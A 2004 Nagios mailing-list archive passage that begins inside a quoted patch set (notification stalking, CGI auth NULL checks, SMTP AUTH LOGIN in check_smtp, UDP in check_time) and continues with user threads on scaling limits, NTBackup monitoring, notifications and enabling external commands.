we're stalking this state type and state was not already >> logged AND the plugin output changed since last check, log it now.. >> */ >> if(temp_service->state_type==HARD_STATE && state_change==FALSE && >> state_was_logged==FALSE && >> strcmp(old_plugin_output,temp_service->plugin_output)){ >> - >> if((temp_service->current_state==STATE_OK && >> temp_service->stalk_on_ok==TRUE)) >> log_service_event(temp_service,HARD_STATE); >> >> Index: base/commands.c >> =================================================================== >> RCS file: /home/cvs/repos/nagios_source/base/commands.c,v >> retrieving revision 1.1.1.1 >> diff -u -r1.1.1.1 commands.c >> --- base/commands.c 23 Jun 2003 01:56:10 -0000 1.1.1.1 >> +++ base/commands.c 7 Dec 2003 21:15:43 -0000 >> @@ -2277,7 +2277,7 @@ >> /* send out an acknowledgement notification */ >> if(notify==TRUE) >> - service_notification(svc,ack_data); >> + service_notification(svc,ack_data,0); >> /* set the acknowledgement flag */ >> svc->problem_has_been_acknowledged=TRUE; >> Index: base/flapping.c >> =================================================================== >> RCS file: /home/cvs/repos/nagios_source/base/flapping.c,v >> retrieving revision 1.1.1.1 >> diff -u -r1.1.1.1 flapping.c >> --- base/flapping.c 23 Jun 2003 01:56:10 -0000 1.1.1.1 >> +++ base/flapping.c 7 Dec 2003 21:15:43 -0000 >> @@ -321,7 +321,7 @@ >> /* should we send a recovery notification? */ >> if(svc->check_flapping_recovery_notification==TRUE && >> svc->current_state==STATE_OK) >> - service_notification(svc,NULL); >> + service_notification(svc,NULL,0); >> /* clear the recovery notification flag */ >> svc->check_flapping_recovery_notification=FALSE; >> Index: base/nagios.h.in >> =================================================================== >> RCS file: /home/cvs/repos/nagios_source/base/nagios.h.in,v >> retrieving revision 1.1.1.1 >> diff -u -r1.1.1.1 nagios.h.in >> --- base/nagios.h.in 23 Jun 2003 01:56:10 -0000 1.1.1.1 >> +++ base/nagios.h.in 7 Dec 2003 21:15:44 -0000 >> @@ -367,10 +367,10 @@ >> /**** Notification Functions ****/ >> -int check_service_notification_viability(service *,char *); /* >> checks viability of notifying all contacts about a service */ >> +int check_service_notification_viability(service *,char *,int); /* >> checks viability of notifying all contacts about a service */ >> int is_valid_escalation_for_service_notification(service >> *,serviceescalation *); /* checks if an escalation entry is valid for >> a particular service notification */ >> int should_service_notification_be_escalated(service *); /* checks >> if a service notification should be escalated */ >> -int service_notification(service *,char *); >> /* notify all contacts about a service (problem or recovery) */ >> +int service_notification(service *,char *,int); >> /* notify all contacts about a service (problem or recovery) */ >> int check_contact_service_notification_viability(contact *, service >> *); /* checks viability of notifying a contact about a service */ >> int notify_contact_of_service(contact *,service *,char *); /* >> notify a single contact about a service */ >> int check_host_notification_viability(host *,int,char *); /* checks >> viability of notifying all contacts about a host */ >> Index: base/notifications.c >> =================================================================== >> RCS file: /home/cvs/repos/nagios_source/base/notifications.c,v >> retrieving revision 1.1.1.1 >> diff -u -r1.1.1.1 notifications.c >> --- base/notifications.c 23 Jun 2003 01:56:10 -0000 1.1.1.1 >> +++ base/notifications.c 7 Dec 2003 21:15:44 -0000 >> @@ -58,7 +58,7 @@ >> /* notify contacts about a service problem or recovery */ >> -int service_notification(service *svc, char *ack_data){ >> +int service_notification(service *svc, char *ack_data, int >> output_changed) { >> host *temp_host; >> notification *temp_notification; >> time_t current_time; >> @@ -87,7 +87,7 @@ >> } >> /* check the viability of sending out a service notification */ >> - if(check_service_notification_viability(svc,ack_data)==ERROR){ >> + >> if(check_service_notification_viability(svc,ack_data,output_changed)== >> ERROR){ >> #ifdef DEBUG4 >> printf("\tSending out a notification for this service is not >> viable at this time.\n"); >> #endif >> @@ -200,7 +200,7 @@ >> /* checks the viability of sending out a service alert (top level >> filters) */ >> -int check_service_notification_viability(service *svc, char >> *ack_data){ >> +int check_service_notification_viability(service *svc, char >> *ack_data, int output_changed){ >> host *temp_host; >> time_t current_time; >> time_t timeperiod_start; >> @@ -371,7 +371,12 @@ >> } >> /* don't notify if we haven't waited long enough since the last >> time (and the service is not marked as being volatile) */ >> - if((current_time < svc->next_notification) && >> svc->is_volatile==FALSE){ >> + if((current_time < svc->next_notification) && >> svc->is_volatile==FALSE && >> + (!output_changed || >> + (svc->current_state==STATE_OK && !svc->stalk_on_ok) || >> + (svc->current_state==STATE_WARNING && !svc->stalk_on_warning) || >> + (svc->current_state==STATE_UNKNOWN && !svc->stalk_on_unknown) || >> + (svc->current_state==STATE_CRITICAL && !svc->stalk_on_critical) >> )){ >> #ifdef DEBUG4 >> printf("\tWe haven't waited long enough to re-notify contacts >> about this service!\n"); >> printf("\tNext valid notification time: >> %s",ctime(&svc->next_notification)); >> ? cgi/Makefile >> ? cgi/authall.patch >> ? cgi/avail.cgi >> ? cgi/cgiutils.h >> ? cgi/cmd.cgi >> ? cgi/config.cgi >> ? cgi/extinfo.cgi >> ? cgi/histogram.cgi >> ? cgi/history.cgi >> ? cgi/notifications.cgi >> ? cgi/outages.cgi >> ? cgi/showlog.cgi >> ? cgi/status.cgi >> ? cgi/statusmap.cgi >> ? cgi/statuswml.cgi >> ? cgi/statuswrl.cgi >> ? cgi/summary.cgi >> ? cgi/tac.cgi >> ? cgi/trends.cgi >> Index: cgi/auth.c >> =================================================================== >> RCS file: /home/cvs/repos/nagios_source/cgi/auth.c,v >> retrieving revision 1.1.1.1 >> diff -u -r1.1.1.1 auth.c >> --- cgi/auth.c 23 Jun 2003 01:56:10 -0000 1.1.1.1 >> +++ cgi/auth.c 25 Feb 2004 00:35:29 -0000 >> @@ -198,9 +198,6 @@ >> int is_authorized_for_host(host *hst, authdata *authinfo){ >> contact *temp_contact; >> - if(hst==NULL) >> - return FALSE; >> - >> /* if we're not using authentication, fake it */ >> if(use_authentication==FALSE) >> return TRUE; >> @@ -213,6 +210,9 @@ >> if(is_authorized_for_all_hosts(authinfo)==TRUE) >> return TRUE; >> + if(hst==NULL) >> + return FALSE; >> + >> /* find the contact */ >> temp_contact=find_contact(authinfo->username,NULL); >> @@ -252,9 +252,6 @@ >> host *temp_host; >> contact *temp_contact; >> - if(svc==NULL) >> - return FALSE; >> - >> /* if we're not using authentication, fake it */ >> if(use_authentication==FALSE) >> return TRUE; >> @@ -266,6 +263,9 @@ >> /* if this user is authorized for all services, they are for this >> one... */ >> if(is_authorized_for_all_services(authinfo)==TRUE) >> return TRUE; >> + >> + if(svc==NULL) >> + return FALSE; >> /* find the host */ >> temp_host=find_host(svc->host_name,NULL); >> diff -ruN nagios-plugins-1.3.0.orig/plugins/check_smtp.c >> nagios-plugins-1.3.0/plugins/check_smtp.c >> --- nagios-plugins-1.3.0.orig/plugins/check_smtp.c 2003-02-15 >> 23:48:46.000000000 +1100 >> +++ nagios-plugins-1.3.0/plugins/check_smtp.c 2003-08-12 >> 15:00:07.000000000 +1000 >> @@ -69,12 +69,77 @@ >> char *server_address = NULL; >> char *server_expect = NULL; >> char *from_arg = " "; >> +char *authtype = NULL; >> +char *authuser = NULL; >> +char *authpass = NULL; >> int warning_time = 0; >> int check_warning_time = FALSE; >> int critical_time = 0; >> int check_critical_time = FALSE; >> int verbose = FALSE; >> +/* encode64 routine from >> http://www.experts-exchange.com/Programming/Programming_Languages/C/ >> Q_20245582.html */ >> + >> +#define BUFOVER (-2) >> +#define CHAR64(c) (((c) < 0 || (c) > 127) ? -1 : >> index_64[(c)]) >> +static char basis_64[] = >> +"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/???? >> ?????????????????????????????????????????????????????????????????????? >> ?????????????????????????????????????????????????????????????????"; >> +static char index_64[128] = { >> + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, >> + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, >> + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, >> + 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, >> + -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, >> + 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, >> + -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, >> + 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1 >> +}; >> + >> +static int >> +encode64(const char *_in, unsigned inlen, char *_out, unsigned >> outmax, unsigned *outlen) >> +{ >> + >> + const unsigned char *in = (const unsigned char *) _in; >> + unsigned char *out = (unsigned char *) _out; >> + unsigned char oval; >> + char *blah; >> + unsigned olen; >> + >> + olen = (inlen + 2) / 3 * 4; >> + if (outlen) >> + *outlen = olen; >> + if (outmax < olen) >> + return BUFOVER; >> + >> + blah = (char *) out; >> + while (inlen >= 3) >> + { >> +/* user provided max buffer size; make sure we don't go over it */ >> + *out++ = basis_64[in[0] >> 2]; >> + *out++ = basis_64[((in[0] << 4) & 0x30) | (in[1] >> 4)]; >> + *out++ = basis_64[((in[1] << 2) & 0x3c) | (in[2] >> 6)]; >> + *out++ = basis_64[in[2] & 0x3f]; >> + in += 3; >> + inlen -= 3; >> + } >> + if (inlen > 0) >> + { >> +/* user provided max buffer size; make sure we don't go over it */ >> + *out++ = basis_64[in[0] >> 2]; >> + oval = (in[0] << 4) & 0x30; >> + if (inlen > 1) >> + oval |= in[1] >> 4; >> + *out++ = basis_64[oval]; >> + *out++ = (inlen < 2) ? '=' : basis_64[(in[1] << 2) & 0x3c]; >> + *out++ = '='; >> + } >> + >> + if (olen < outmax) >> + *out = '\0'; >> + >> + return OK; >> +} >> + >> int >> main (int argc, char **argv) >> { >> @@ -83,6 +148,7 @@ >> char buffer[MAX_INPUT_BUFFER] = ""; >> char *from_str = NULL; >> char *helocmd = NULL; >> + char *error_msg = NULL; >> if (process_arguments (argc, argv) != OK) >> usage ("Invalid command arguments supplied\n"); >> @@ -124,41 +190,134 @@ >> if (result == -1) { >> printf ("recv() failed\n"); >> result = STATE_WARNING; >> + } else >> + result = STATE_OK; >> + >> + /* make sure we find the response we are looking for */ >> + if (result == STATE_OK && !strstr (buffer, server_expect)) { >> + if (server_port == SMTP_PORT) >> + printf ("Invalid SMTP response received from host\n"); >> + else >> + printf ("Invalid SMTP response received from host on port %d\n", >> + server_port); >> + result = STATE_WARNING; >> } >> - >> - else { >> - >> - /* make sure we find the response we are looking for */ >> - if (!strstr (buffer, server_expect)) { >> - if (server_port == SMTP_PORT) >> - printf ("Invalid SMTP response received from host\n"); >> - else >> - printf ("Invalid SMTP response received from host on port %d\n", >> - server_port); >> - result = STATE_WARNING; >> + >> + if (result == STATE_OK && authtype != NULL) { >> + if (strcmp (authtype, "LOGIN") == 0) { >> + char abuf[MAX_INPUT_BUFFER]; >> + unsigned alen; >> + int ret; >> + do { >> + if (authuser == NULL) { >> + result = STATE_CRITICAL; >> + error_msg = "no authuser specified"; >> + break; >> + } >> + if (authpass == NULL) { >> + result = STATE_CRITICAL; >> + error_msg = "no authpass specified"; >> + break; >> + } >> + send(sd, "AUTH LOGIN\r\n", strlen("AUTH LOGIN\r\n"), 0); >> + if (verbose == TRUE) { >> + printf ("sent AUTH LOGIN\n"); >> + } >> + if ((ret = recv(sd, buffer, MAX_INPUT_BUFFER-1, 0)) == -1) { >> + result = STATE_CRITICAL; >> + error_msg = "recv() failed after AUTH LOGIN"; >> + break; >> + } >> + buffer[ret] = 0; >> + if (verbose == TRUE) { >> + printf ("received %s\n", buffer); >> + } >> + if (strncmp (buffer, "334", 3) != 0) { >> + result = STATE_CRITICAL; >> + error_msg = "invalid response received after AUTH LOGIN"; >> + break; >> + } >> + if (encode64 (authuser, strlen(authuser), abuf, >> MAX_INPUT_BUFFER, &alen) != OK) { >> + result = STATE_CRITICAL; >> + error_msg = "failed to base64-encode authuser"; >> + break; >> + } >> + strcat (abuf, "\r\n"); >> + send(sd, abuf, strlen(abuf), 0); >> + if (verbose == TRUE) { >> + printf ("sent %s\n", abuf); >> + } >> + if ((ret = recv(sd, buffer, MAX_INPUT_BUFFER-1, 0)) == -1) { >> + result = STATE_CRITICAL; >> + error_msg = "recv() failed after sending authuser"; >> + break; >> + } >> + buffer[ret] = 0; >> + if (verbose == TRUE) { >> + printf ("received %s\n", buffer); >> + } >> + if (strncmp (buffer, "334", 3) != 0) { >> + result = STATE_CRITICAL; >> + error_msg = "invalid response received after authuser"; >> + break; >> + } >> + if (encode64 (authpass, strlen(authpass), abuf, >> MAX_INPUT_BUFFER, &alen) != OK) { >> + result = STATE_CRITICAL; >> + error_msg = "failed to base64-encode authpass"; >> + break; >> + } >> + strcat (abuf, "\r\n"); >> + send(sd, abuf, strlen(abuf), 0); >> + if (verbose == TRUE) { >> + printf ("sent %s\n", abuf); >> + } >> + if ((ret = recv(sd, buffer, MAX_INPUT_BUFFER-1, 0)) == -1) { >> + result = STATE_CRITICAL; >> + error_msg = "recv() failed after sending authpass"; >> + break; >> + } >> + buffer[ret] = 0; >> + if (verbose == TRUE) { >> + printf ("received %s\n", buffer); >> + } >> + if (strncmp (buffer, "235", 3) != 0) { >> + result = STATE_CRITICAL; >> + error_msg = "invalid response received after authpass"; >> + break; >> + } >> + break; >> + } while (0); >> + } else { >> + result = STATE_CRITICAL; >> + error_msg = "only authtype LOGIN is supported"; >> } >> + } >> + >> + time (&end_time); >> - else { >> - >> - time (&end_time); >> - >> - result = STATE_OK; >> - >> - if (check_critical_time == TRUE >> - && (end_time - start_time) > critical_time) result = >> - STATE_CRITICAL; >> - else if (check_warning_time == TRUE >> - && (end_time - start_time) > warning_time) result = >> - STATE_WARNING; >> - >> - if (verbose == TRUE) >> - printf ("SMTP %s - %d sec. response time, %s\n", >> - state_text (result), (int) (end_time - start_time), buffer); >> - else >> - printf ("SMTP %s - %d second response time\n", state_text >> (result), >> - (int) (end_time - start_time)); >> + if (check_critical_time == TRUE >> + && (end_time - start_time) > critical_time) result = >> + STATE_CRITICAL; >> + else if (check_warning_time == TRUE >> + && (end_time - start_time) > warning_time) result = >> + STATE_WARNING; >> + >> + if (verbose == TRUE) >> + if (error_msg == NULL) { >> + printf ("SMTP %s - %d sec. response time, %s\n", >> + state_text (result), (int) (end_time - start_time), >> buffer); >> + } else { >> + printf ("SMTP %s - %s, %d sec. response time, %s\n", >> + state_text (result), error_msg, (int) (end_time - >> start_time), buffer); >> + } >> + else >> + if (error_msg == NULL) { >> + printf ("SMTP %s - %d second response time\n", >> + state_text (result), (int) (end_time - start_time)); >> + } else { >> + printf ("SMTP %s - %s, %d second response time\n", >> + state_text (result), error_msg, (int) (end_time - >> start_time)); >> } >> - } >> /* close the connection */ >> @@ -211,6 +370,9 @@ >> {"warning", required_argument, 0, 'w'}, >> {"port", required_argument, 0, 'p'}, >> {"from", required_argument, 0, 'f'}, >> + {"authtype", required_argument, 0, 'A'}, >> + {"authuser", required_argument, 0, 'U'}, >> + {"authpass", required_argument, 0, 'P'}, >> {"verbose", no_argument, 0, 'v'}, >> {"version", no_argument, 0, 'V'}, >> {"help", no_argument, 0, 'h'}, >> @@ -233,10 +395,10 @@ >> while (1) { >> #ifdef HAVE_GETOPT_H >> c = >> - getopt_long (argc, argv, "+hVvt:p:f:e:c:w:H:", long_options, >> + getopt_long (argc, argv, "+hVvt:p:f:e:c:w:H:A:U:P:", long_options, >> &option_index); >> #else >> - c = getopt (argc, argv, "+?hVvt:p:f:e:c:w:H:"); >> + c = getopt (argc, argv, "+?hVvt:p:f:e:c:w:H:A:U:P:"); >> #endif >> if (c == -1 || c == EOF) >> break; >> @@ -261,6 +423,15 @@ >> case 'f': /* from argument */ >> from_arg = optarg; >> break; >> + case 'A': >> + authtype = optarg; >> + break; >> + case 'U': >> + authuser = optarg; >> + break; >> + case 'P': >> + authpass = optarg; >> + break; >> case 'e': /* server expect string on 220 */ >> server_expect = optarg; >> break; >> @@ -355,6 +526,12 @@ >> " String to expect in first line of server response (default: >> %s)\n" >> " -f, --from=STRING\n" >> " from address to include in MAIL command (default NULL, >> Exchange2000 requires one)\n" >> + " -A, --authtype=STRING\n" >> + " SMTP AUTH type to check (default none, only LOGIN >> supported)\n" >> + " -U, --authuser=STRING\n" >> + " SMTP AUTH username\n" >> + " -P, --authpass=STRING\n" >> + " SMTP AUTH password\n" >> " -w, --warning=INTEGER\n" >> " Seconds necessary to result in a warning status\n" >> " -c, --critical=INTEGER\n" >> @@ -379,7 +556,7 @@ >> print_usage (void) >> { >> printf >> - ("Usage: %s -H host [-e expect] [-p port] [-f from addr] [-w warn] >> [-c crit] [-t timeout] [-v]\n" >> + ("Usage: %s -H host [-e expect] [-p port] [-f from addr] [-A >> authtype -U authuser -P authpass] [-w warn] [-c crit] [-t timeout] >> [-v]\n" >> " %s --help\n" >> " %s --version\n", progname, progname, progname); >> } >> --- /tmp/nagios-plugins-1.3.0/plugins/check_time.c 2003-02-15 >> 23:48:46.000000000 +1100 >> +++ nagios-plugins-1.3.0/plugins/check_time.c 2003-06-06 >> 10:43:32.000000000 +1000 >> @@ -61,7 +61,7 @@ >> int check_critical_diff = FALSE; >> int server_port = TIME_PORT; >> char *server_address = NULL; >> - >> +int use_udp = FALSE; >> int process_arguments (int, char **); >> void print_usage (void); >> @@ -85,7 +85,13 @@ >> time (&start_time); >> /* try to connect to the host at the given port number */ >> - if (my_tcp_connect (server_address, server_port, &sd) != STATE_OK) { >> + if (use_udp) { >> + result = my_udp_connect (server_address, server_port, &sd); >> + } else { >> + result = my_tcp_connect (server_address, server_port, &sd); >> + } >> + >> + if (result != STATE_OK) { >> if (check_critical_time == TRUE) >> result = STATE_CRITICAL; >> else if (check_warning_time == TRUE) >> @@ -94,7 +100,21 @@ >> result = STATE_UNKNOWN; >> terminate (result, >> "TIME UNKNOWN - could not connect to server %s, port >> %d\n", >> - server_address, server_port); >> + server_address, server_port); >> + } >> + >> + if (use_udp) { >> + if (send (sd, "", 0, 0) < 0) { >> + if (check_critical_time == TRUE) >> + result = STATE_CRITICAL; >> + else if (check_warning_time == TRUE) >> + result = STATE_WARNING; >> + else >> + result = STATE_UNKNOWN; >> + terminate (result, >> + "TIME UNKNOWN - could not send UDP request to server >> %s, port %d\n", >> + server_address, server_port); >> + } >> } >> /* watch for the connection string */ >> @@ -170,6 +190,7 @@ >> {"timeout", required_argument, 0, 't'}, >> {"version", no_argument, 0, 'V'}, >> {"help", no_argument, 0, 'h'}, >> + {"udp", no_argument, 0, 'u'}, >> {0, 0, 0, 0} >> }; >> #endif >> @@ -193,10 +214,10 @@ >> while (1) { >> #ifdef HAVE_GETOPT_H >> c = >> - getopt_long (argc, argv, "hVH:w:c:W:C:p:t:", long_options, >> + getopt_long (argc, argv, "hVH:w:c:W:C:p:t:u", long_options, >> &option_index); >> #else >> - c = getopt (argc, argv, "hVH:w:c:W:C:p:t:"); >> + c = getopt (argc, argv, "hVH:w:c:W:C:p:t:u"); >> #endif >> if (c == -1 || c == EOF) >> @@ -275,6 +296,9 @@ >> usage ("Timeout interval must be a nonnegative integer\n"); >> socket_timeout = atoi (optarg); >> break; >> + case 'u': >> + /* udp */ >> + use_udp = TRUE; >> } >> } >> @@ -338,6 +362,8 @@ >> " Seconds before connection times out (default: %d)\n" >> " -p, --port=INTEGER\n" >> " Port number (default: %d)\n" >> + " -u, --udp\n" >> + " Use UDP to connect, not TCP\n" >> " -h, --help\n" >> " Print detailed help screen\n" >> " -V, --version\n" >> --- nagios-plugins-1.3.0/plugins/check_udp.c 2003-02-19 >> 09:24:35.000000000 +1100 >> +++ nagios-plugins-r1_3_0-200306050007/plugins/check_udp.c 2003-03-07 >> 17:40:33.000000000 +1100 >> @@ -6,7 +6,7 @@ >> * License: GPL >> * Copyright (c) 1999 Ethan Galstad (nagios at nagios.org) >> * >> -* Last Modified: $Date: 2003/02/18 22:24:35 $ >> +* Last Modified: $Date: 2003/03/07 06:40:33 $ >> * >> * Command line: CHECK_UDP [-p port] [-s send] [-e >> expect] \ >> * [-wt warn_time] [-ct crit_time] [-to to_sec] >> @@ -173,7 +173,7 @@ >> print_help (); >> exit (STATE_OK); >> case 'V': /* version */ >> - print_revision (progname, "$Revision: 1.4 $"); >> + print_revision (progname, "$Revision: 1.4.2.1 $"); >> exit (STATE_OK); >> case 'v': /* verbose mode */ >> verbose = TRUE; >> @@ -220,9 +220,9 @@ >> usage ("Invalid host name/address\n"); >> server_address = argv[c++]; >> } >> - else { >> + >> + if (server_address == NULL) >> usage ("Host name was not supplied\n"); >> - } >> return c; >> } >> @@ -246,7 +246,7 @@ >> void >> print_help (void) >> { >> - print_revision (progname, "$Revision: 1.4 $"); >> + print_revision (progname, "$Revision: 1.4.2.1 $"); >> printf >> ("Copyright (c) 1999 Ethan Galstad (nagios at nagios.org)\n\n" >> "This plugin tests an UDP connection with the specified >> host.\n\n"); >> ------------------------------------------------------- >> This SF.Net email is sponsored by: IBM Linux Tutorials >> Free Linux tutorial presented by Daniel Robbins, President and CEO of >> GenToo technologies. Learn everything from fundamentals to system >> administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click >> _______________________________________________ >> Nagios-devel mailing list >> Nagios-devel at lists.sourceforge.net >> https://lists.sourceforge.net/lists/listinfo/nagios-devel > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. ::: Messages without supporting info will risk > being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click From andre.bergei at ementor.no Fri Mar 12 16:05:44 2004 From: andre.bergei at ementor.no (Andre Bergei) Date: Fri, 12 Mar 2004 16:05:44 +0100 Subject: [Nagios-users] Re: Large scale network monitoring limits with nagios Message-ID: <3C8515D9676BF9479F7EF3545B63AA220B2105@100NOOSLMSG001.common.alpharoot.net> > I think there was an discussion on this sorting-topc some > month ago. I > thought that resulted in some pathes that changed the code to > hash-based > sorting... > Anyone know where those patches are? > > /FredrikW The chained hash method patch from Daniel Drown was applied to nagios 2.0 See post from Ethan: http://sourceforge.net/mailarchive/message.php?msg_id=6004643 /andr? ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click From jeff.vier at tradingtechnologies.com Fri Mar 12 16:07:38 2004 From: jeff.vier at tradingtechnologies.com (jeff vier) Date: Fri, 12 Mar 2004 09:07:38 -0600 Subject: nagios -d processes In-Reply-To: References: Message-ID: <1079104058.7327.0.camel@localhost> On Thu, 2004-03-11 at 17:08, Subhendu Ghosh wrote: > > > you should only have one nagios process showing the -d switch. > > Mine has one consistent process with a -d, but every service check > > spawns another one. So sometimes there is 30 or 50 or sometimes 100. > > this is 2.0a, notably. > This is normal. Good. I thought so. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jason at teklabs.net Fri Mar 12 16:54:01 2004 From: jason at teklabs.net (Jason Lancaster) Date: Fri, 12 Mar 2004 10:54:01 -0500 Subject: Large scale network monitoring limits with nagios In-Reply-To: <3C8515D9676BF9479F7EF3545B63AA220B2105@100NOOSLMSG001.common.alpharoot.net> References: <3C8515D9676BF9479F7EF3545B63AA220B2105@100NOOSLMSG001.common.alpharoot.net> Message-ID: <4051DD19.1040508@teklabs.net> > >The chained hash method patch from Daniel Drown was applied to nagios 2.0 >See post from Ethan: >http://sourceforge.net/mailarchive/message.php?msg_id=6004643 > > > This is the patch I use in 1.1 to make things work nicely with 6200 services. Regards, Jason ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From james at expresscomputers.com Fri Mar 12 17:32:52 2004 From: james at expresscomputers.com (James Bowes) Date: Fri, 12 Mar 2004 08:32:52 -0800 Subject: Monitoring ntbackup Message-ID: Hi Subhendu. > > One of my mates asked me if there's any way to monitor NTBackup, > specifically to see if ran when it was supposed to or not or ejected > the tape. Personally I don't know if that's the intent of using Nagios > or not... I thought I should pose the question to the list to be sure... > Does it log its message anywhere? EventLog? Yes NTBackup logs messages to a folder in the admin's personal directory. NTBAckup also shows that it has or hasn't run and basic problems in the application log of Event Viewer. --james ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From Kin-Ho.Kwan at hxti.com Fri Mar 12 18:22:51 2004 From: Kin-Ho.Kwan at hxti.com (Kin-Ho Kwan) Date: Fri, 12 Mar 2004 12:22:51 -0500 Subject: Alert with no notification Message-ID: <4051F1EB.6080104@hxti.com> I have been running Nagios for a while and I had a problem on e-mail notification. Nagios is supposed to send e-mail notification when the service (my_service) goes into critical state. Funny thing happens here. When the error message is "CANNOT ECHO" (my customize error message), even though it's in critical state, nagios did not send me any mail. Yet if the error message is something else, I will get notification from Nagios. Same serivce, same setting, but just different error message. Why I could not get any e-mail from Nagios sometimes? Thanks Kin-Ho Kwan ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From porus at sgi.com Fri Mar 12 18:39:25 2004 From: porus at sgi.com (Porus Lakdawala) Date: Fri, 12 Mar 2004 09:39:25 -0800 Subject: Nagios 1.0 bug? Message-ID: Hi, I have Nagios 1.0 running on an SGI IRIX system. The total number of hosts monitored is 360 and the total number of services monitored is 2330. Recently I tried adding more services to be monitored. As soon as I do that a number of errors appear for servers that were already there. The error message read "no services for this host". The Nagios daemon seems to start up. The CGIs show the error. I thought initially that this might be something to do with the config file. However the -v option shows no errors or warnings. And I have brought the config files to a state in which if I add a hostgroup with 10 more servers to an existing service, it breaks. I remove the hostgroup and life is good. Is there an inherent limit on the number of services that can be monitored? Or is there a known bug which causes this limit? I could not find anything in the docs or on searching the mailing list. Thanks in advance for any help. ----- Porus Lakdawala Phone: (650) 9334576 Email: porus at sgi.com ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From james at expresscomputers.com Fri Mar 12 19:15:55 2004 From: james at expresscomputers.com (James Bowes) Date: Fri, 12 Mar 2004 10:15:55 -0800 Subject: Adding comments Message-ID: Hi all. I am attempting to use the comments for acknowledging problems and I am unable to. The error I receive is: Sorry, but Nagios is currently not checking for external commands, so your command will not be committed! I have read through the documentation and I am a little confused about this. Exactly what external commands are required to activate this feature? Thanks for any and all responses. Regards, --james ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Fri Mar 12 19:34:30 2004 From: marc at ena.com (Marc Powell) Date: Fri, 12 Mar 2004 12:34:30 -0600 Subject: Adding comments Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A332@mismail2.ena.com> On Friday, March 12, 2004 12:16 PM, James Bowes shared with us: > Hi all. > > I am attempting to use the comments for acknowledging problems and I > am unable to. The error I receive is: > > Sorry, but Nagios is currently not checking for external commands, so > your command will not be committed! > > I have read through the documentation and I am a little confused > about this. Exactly what external commands are required to activate > this feature? Did you see this: http://nagios.sourceforge.net/docs/1_0/configmain.html#check_external_co mmands? You must enable external command checking in nagios.cfg. If you've done that and restarted 